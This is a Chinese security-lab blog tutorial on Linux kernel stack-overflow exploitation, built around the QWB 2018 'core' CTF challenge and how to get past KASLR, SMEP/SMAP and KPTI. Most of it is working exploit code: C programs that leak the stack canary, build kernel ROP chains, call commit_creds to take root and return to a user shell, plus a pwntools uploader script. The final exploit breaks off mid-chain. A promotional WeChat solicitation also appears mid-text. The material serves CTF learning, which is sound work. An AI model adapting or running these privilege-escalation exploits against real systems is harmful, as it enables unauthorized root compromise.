Kernel Stack棧溢位攻擊及保護繞過

蚁景网安实验室發表於2024-09-23

前言

本文介紹Linux核心的棧溢位攻擊,和核心一些保護的繞過手法,透過一道核心題及其變體從淺入深一步步走進kernel世界。

QWB_2018_core

題目分析

start.sh

qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
    -s \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \

開啟了kaslr保護。

如果自己編譯的 qemu 可能會報錯network backend ‘user‘ is not compiled into this binary,解決方法就是sudo apt-get install libslirp-dev,然後重新編譯 ./configure --enable-slirp

init

解壓 core.cpio(最簡單的方式就是在ubuntu裡,右擊提取到此處),分析 init 檔案:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko # 載入核心模組core.ko
​
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
​
poweroff -d 0  -f
  • 第 9 行中把 kallsyms 的內容儲存到了 /tmp/kallsyms 中,那麼我們就能從 /tmp/kallsyms 中讀取 commit_credsprepare_kernel_cred 的函式的地址了。

  • 第 10 行把 kptr_restrict 設為 1,這樣就不能透過 /proc/kallsyms 檢視函式地址了,但第 9 行已經把其中的資訊儲存到了一個可讀的檔案中,這句就無關緊要了。

  • 第 11 行把 dmesg_restrict 設為 1,這樣就不能透過 dmesg 檢視 kernel 的資訊了。

  • 第 18 行設定了定時關機,為了避免做題時產生干擾,直接把這句刪掉然後重新打包。

裡面還有一個 gen_cpio.sh 指令碼,用於快速打包。

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
  • KASLR

    Kernel Address Space Layout Randomization(核心地址空間佈局隨機化),開啟後,允許kernel image載入到VMALLOC區域的任何位置。在未開啟KASLR保護機制時,核心程式碼段的基址為 0xffffffff81000000direct mapping area 的基址為 0xffff888000000000

  • FG-KASLR

    Function Granular Kernel Address Space Layout Randomization細粒度的 kaslr,函式級別上的 KASLR 最佳化。該保護只是在程式碼段打亂順序,在資料段偏移不變,例如 commit_creds 函式的偏移改變但是 init_cred 的偏移不變。

  • Dmesg Restrictions

    透過設定/proc/sys/kernel/dmesg_restrict為1, 可以將dmesg輸出的資訊視為敏感資訊(預設為0)

  • Kernel Address Display Restriction

    核心提供控制變數 /proc/sys/kernel/kptr_restrict 用於控制核心的一些輸出列印。

    • kptr_restrict == 2 :核心將符號地址列印為全 0 , root 和普通使用者都沒有許可權.

    • kptr_restrict == 1 : root 使用者有許可權讀取,普通使用者沒有許可權.

    • kptr_restrict == 0 : root 和普通使用者都可以讀取.

core.ko

檢查一下保護。

❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

使用 IDA 繼續分析.ko檔案。

init_module() 註冊了 /proc/corecore_fops 時其註冊的file_operations結構體例項,會面會做介紹。

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

exit_core()刪除 /proc/core

__int64 exit_core()
{
  __int64 result; // rax
​
  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl() 定義了三條命令,分別呼叫 core_read(), core_copy_func()和設定全域性變數 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_read()v4[off] 複製 64 個位元組到使用者空間,但要注意的是全域性變數 off 是我們能夠控制的,因此可以合理的控制 offleak canary 和一些地址 。

void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  /*
  * canary儲存在rsp+0x40的位置,
  * 我們透過設定off為0x40,即可將其讀取出來。
  */
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]
​
  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("\x016core: called core_read\n");
  printk("\x016%d %p\n");
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 從全域性變數 name 中複製資料到區域性變數中,長度是由我們指定的,當要注意的是 qmemcpy 用的是 unsigned __int16,但傳遞的長度是 signed __int64,因此如果控制傳入的長度為 0xffffffffffff0000|(0x100) 等值,就可以棧溢位了。

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
​
  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  // 這裡用的jg判斷,為有符號判斷,0xffffffffffff0000|(0x100) 會判定為負從而繞過。
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    // 棧溢位。
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

core_write() 向全域性變數 name 上寫,這樣透過 core_write()core_copy_func() 就可以控制 ropchain 了 。

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx
​
  v3 = a3;
  printk("\x016core: called core_writen");
  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
    return (unsigned int)v3;
  printk("\x016core: error copying data from userspacen");
  return 0xFFFFFFF2LL;
}

字元驅動裝置

核心註冊字元裝置驅動裝置時會用到file_operations結構體,file_operations 結構體中的成員函式是字元裝置驅動程式設計的主體內容,結構體中的一些指標比如open()write()read()close() 等系統呼叫時最終會被核心呼叫,我們可以透過指定指標指向的內容修改其預設值為我們自定義的函式,這樣我們在類似read(dev_fd, buf, 0x100)時就會呼叫我們自定義的my_read函式。

它還有一個指標為unlocked_ioctl,我們在使用者態時可以使用系統呼叫ioctl去訪問控制核心註冊的裝置(ioctl系統呼叫號為0x10,由rax儲存,需要注意的時,系統呼叫和使用者傳參的rdi,rsi,rdx,rcx,r8,r9不同,系統呼叫第四個傳參暫存器為r10,即rdi,rsi,rdx,r10,r8,r9)。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

動態除錯

為了動態除錯的方便一些,我們需要做以下工作:

(1)透過qemu append引數關閉 kaslrqemu提供了-s引數用於除錯,預設埠為1234

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"

(2)修改init指令碼將許可權調到 root

...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...

(3)啟動qemu,檢視模組基地址。

/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)

(4)透過 add-symbol-file core.ko textaddrcore.ko 符號載入進去。

#!/bin/sh
​
gdb -q \
  -ex "file ./core/vmlinux" \
  -ex "file ./core/core.ko" \
  -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
  -ex "target remote localhost:1234"

ret2user

顧名思義,即返回到使用者空間的提權程式碼上進行提權,之後返回使用者態即為 root 許可權。

ret2user

提權方式

這裡只簡單介紹兩種樸素的方法,第一種是透過commit_creds(prepare_kernel_cred(0))去提權,不過這種方式已經過時了,不過這道題的核心版本支援這種方法提權,prepare_kernel_cred()會將複製一個新的cred憑證,引數為零預設複製init_cred,其具有root許可權。commit_cred()負責應用到程序。

第二種是 commit_cred(&init_cred),原因是init_cred是靜態定義的,我們只要找到init_cred地址便可藉助commit_cred完成提權。我們透過vmlinux-to-elf bzImage vmlinux解壓並恢復核心部分符號,透過逆向 prepare_kernel_cred() 函式便可輕鬆定位其地址。

_DWORD *__fastcall prepare_kernel_cred(__int64 a1)
{
_DWORD *v1; // rbx
int *task_cred; // rbp
​
v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
 return 0LL;
if ( a1 )
{
 task_cred = (int *)get_task_cred(a1);
}
else
{
 _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
 task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
[......]
}

狀態儲存

通常情況下,我們的 exploit 需要進入到核心當中完成提權,而我們最終仍然需要著陸回使用者態以獲得一個 root 許可權的 shell,因此在我們的 exploit 進入核心態之前我們需要手動模擬使用者態進入核心態的準備工作儲存各暫存器的值到核心棧上,以便於後續著陸回使用者態。通常情況下使用如下函式儲存各暫存器值到我們自己定義的變數中,以便於構造 rop 鏈:

gcc 編譯時需要指定引數:-masm=intel

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回使用者態

由核心態返回使用者態只需要:

  • swapgs指令透過用一個MSR中的值交換GS暫存器的內容,用來獲取指向核心資料結構的指標,然後才能執行系統呼叫之類的核心空間程式,其也用於恢復使用者態 GS 暫存器。

  • sysretq或者iretq恢復到使用者空間

那麼我們只需要在核心中找到相應的 gadget 並執行swapgs;iretq就可以成功著陸回使用者態。

執行 iretq 時的棧佈局。

|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

所以我們應當構造如下 rop 鏈以返回使用者態並獲得一個 shell:

↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

利用思路

在未開啟 SMAP/SMEP 保護(後面會講解)的情況下,使用者空間無法訪問核心空間的資料,但是核心空間可以訪問 / 執行使用者空間的資料,所以可以使用ret2user。題目給的vmlinux用於提取gadget可以,但使用IDA分析時太慢,可以用vmlinux-to-elf解壓bzImage進行分析。

  1. /tmp/kallsyms 讀取符號地址,確認與nokaslr偏移,從vmlinux尋找gadget

  2. 儲存使用者狀態。

  3. 透過設定 off 讀取 canary

  4. 於核心態訪問使用者空間的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提權。

  5. 透過 swapgs; mov trap_frame, rsp; iretq 返回使用者空間,並執行 system("/bin/sh");

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
​
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 儲存的符號地址,這裡儲存的是未開啟kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
void get_root() {
    commit_creds(init_cred);
    // commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov rsp, tf_addr;"
        "iretq;");
}
​
struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));
​
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    tf.user_rip = (size_t) get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1000;
    tf.user_ss = user_ss;
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
/* 計算開啟kaslr後的偏移,重定位相關函式和結構體的地址 */
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
size_t get_canary() {
    set_off(0x40);
    char buf[0x40];
    core_read(buf);
    return *(size_t *) buf;
}
​
int main() {
    rebase();
    save_status();
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
    char buf[0x100];
    memset(buf, '\x00', sizeof(buf));
    *(size_t *) &buf[0x40] = canary;
    *(void **) &buf[0x50] = get_root; // 覆蓋返回地址
    core_write(buf, sizeof(buf));
    // jg 有符號判斷,判其為負數,qmemcpy() 第三個引數取其後16位,導致溢位。
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
    return 0;
}

編譯exp時需要注意,本機環境編譯的exp可能無法與題目環境互動,需要使用musl-gcc或者相應版本的docker進行編譯,musl-gcc有一些庫不支援,但大部分情況下都是可以的。

打包指令碼

本題提供了打包指令碼,可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果沒提供可以使用以下命令打包。

find . | cpio -o -H newc > ../rootfs.imgs

打包完成後,改回題目環境,執行指令碼測試即可。傳送至遠端可以使用以下指令碼:

from pwn import *
import base64
#context.log_level = "debug"
​
with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())
​
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")
​
    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))
​
    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break
​
p.interactive()

除錯

可以看到add rsp, 0x48;pop rbx後,ret指令正好執行我們使用者空間的提權程式碼。

image-20240905183545568

kernel rop without KPIT

開啟 smepsmap 保護後,核心空間無法執行使用者空間的程式碼,並且無法訪問使用者空間的資料。因此不能直接 ret2user 。利用 ROP執行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然後 iret 返回使用者空間可以繞過上述保護。

新增 smepsmap 保護。

qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
    -s  \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \
    -cpu qemu64,+smep,+smap
  • smep

    Supervisor Mode Execution Protection(管理模式執行保護),當處理器處於 ring 0 模式,執行使用者空間的程式碼會觸發頁錯誤。(在 arm 中該保護稱為 PXN)

  • smap

    Superivisor Mode Access Protection(管理模式訪問保護),類似於 smep,當處理器處於 ring 0 模式,訪問使用者空間的資料會觸發頁錯誤。

利用思路

  1. /tmp/kallsyms 讀取符號地址,確認與nokaslr偏移,從vmlinux尋找gadget

  2. 儲存使用者狀態。

  3. 透過設定 off 讀取 canary

  4. 於核心空間 rop 呼叫 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提權。

  5. 透過 swapgs; popfq; ret;iretq 返回使用者空間,並執行 system("/bin/sh");

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
​
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由於找不到 mov rdi, rax; ret; 這條 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret; 
* 可以清除 call 指令壓入棧中的 rip ,因此相當於 ret 。
* (2)如果使用 commit_creds(init_cred); 
* 則只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
​
void get_shell() {
    system("/bin/sh");
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
int main() {
    save_status();
    rebase();
​
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
​
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
​
    char buf[0x100];
    memset(buf, '\x00', sizeof(buf));
    *(size_t *) &buf[0x40] = canary;
​
    size_t *rop = (size_t *) &buf[0x50], it = 0;
    
    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
    rop[it++] = pop_rcx_ret;
    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
​
    core_write(buf, sizeof(buf));
​
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
​
    return 0;
}

kernel rop with KPIT

將 CPU 型別修改為 kvm64 後開啟了 KPTI 保護。

#!/bin/sh
qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  -nographic \
  -cpu kvm64,+smep,+smap

KPTI

kernel page-table isolation,核心頁表隔離,程序頁表隔離。旨在更好地隔離使用者空間與核心空間的記憶體來提高安全性。KPTI透過完全分離使用者空間與核心空間頁表來解決頁表洩露。一旦開啟了KPTI,由於核心態和使用者態的頁表不同,所以如果使用 ret2user或核心執行ROP返回使用者態時,由於核心態無法確定使用者態的頁表,就會報出一個段錯誤。可以利用核心現有的gadget將 cr30x1000 異或(第13位置0)來完成從使用者態PGD轉換成核心態PGD。

利用思路

比較簡單的方法是藉助 swapgs_restore_regs_and_return_to_usermode 返回使用者態。該函式是核心在 arch/x86/entry/entry_64.S 中提供的一個用於完成核心態到使用者態切換的函式。當然我們也可以利用核心的gadgetcr3的第13位置0(與0x1000異或)來完成從使用者態PGD轉換成核心態PGD。

.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA                 public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA                                         ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA                                         ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA                 pop     r15
.text:FFFFFFFF81A008DC                 pop     r14
.text:FFFFFFFF81A008DE                 pop     r13
.text:FFFFFFFF81A008E0                 pop     r12
.text:FFFFFFFF81A008E2                 pop     rbp
.text:FFFFFFFF81A008E3                 pop     rbx
.text:FFFFFFFF81A008E4                 pop     r11
.text:FFFFFFFF81A008E6                 pop     r10
.text:FFFFFFFF81A008E8                 pop     r9
.text:FFFFFFFF81A008EA                 pop     r8
.text:FFFFFFFF81A008EC                 pop     rax
.text:FFFFFFFF81A008ED                 pop     rcx
.text:FFFFFFFF81A008EE                 pop     rdx
.text:FFFFFFFF81A008EF                 pop     rsi
/*
* 我們再利用時直接跳到這裡即可,不過 rop 接下來還要有 16 位元組的填充來表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0                 mov     rdi, rsp         ; jump this
.text:FFFFFFFF81A008F3                 mov     rsp, gs:qword_5004
.text:FFFFFFFF81A008FC                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81A00902                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81A00905                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81A00908                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B                 push    qword ptr [rdi]
.text:FFFFFFFF81A0090D                 push    rax
.text:FFFFFFFF81A0090E                 jmp     short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953:                   ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953                 pop     rax
.text:FFFFFFFF81A00954                 pop     rdi
.text:FFFFFFFF81A00955                 swapgs
.text:FFFFFFFF81A00958                 jmp     native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980                 test    [rsp+arg_18], 4
.text:FFFFFFFF81A00985                 jnz     short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret     endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989                 push    rdi
.text:FFFFFFFF81A0098A                 swapgs
.text:FFFFFFFF81A0098D                 jmp     short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1                 mov     rdi, gs:qword_F000
.text:FFFFFFFF81A009AA                 mov     [rdi], rax
.text:FFFFFFFF81A009AD                 mov     rax, [rsp+8]
.text:FFFFFFFF81A009B2                 mov     [rdi+8], rax
.text:FFFFFFFF81A009B6                 mov     rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB                 mov     [rdi+10h], rax
.text:FFFFFFFF81A009BF                 mov     rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4                 mov     [rdi+18h], rax
.text:FFFFFFFF81A009C8                 mov     rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD                 mov     [rdi+28h], rax
.text:FFFFFFFF81A009D1                 mov     rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6                 mov     [rdi+20h], rax
.text:FFFFFFFF81A009DA                 and     eax, 0FFFF0000h
.text:FFFFFFFF81A009DF                 or      rax, gs:qword_F008
.text:FFFFFFFF81A009E8                 push    rax
.text:FFFFFFFF81A009E9                 jmp     short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E                 pop     rax
.text:FFFFFFFF81A00A2F                 swapgs
.text:FFFFFFFF81A00A32                 pop     rdi
.text:FFFFFFFF81A00A33                 mov     rsp, rax
.text:FFFFFFFF81A00A36                 pop     rax
.text:FFFFFFFF81A00A37                 jmp     native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987                 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
​
void get_shell() {
    system("/bin/sh");
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
int main() {
    save_status();
    rebase();
​
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
​
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
​
    char buf[0x100];
    memset(buf, '\x00', sizeof(buf));
    // 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
    *(size_t *) &buf[0x40] = canary;
    size_t *rop = (size_t *) &buf[0x50], it = 0;
​
    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
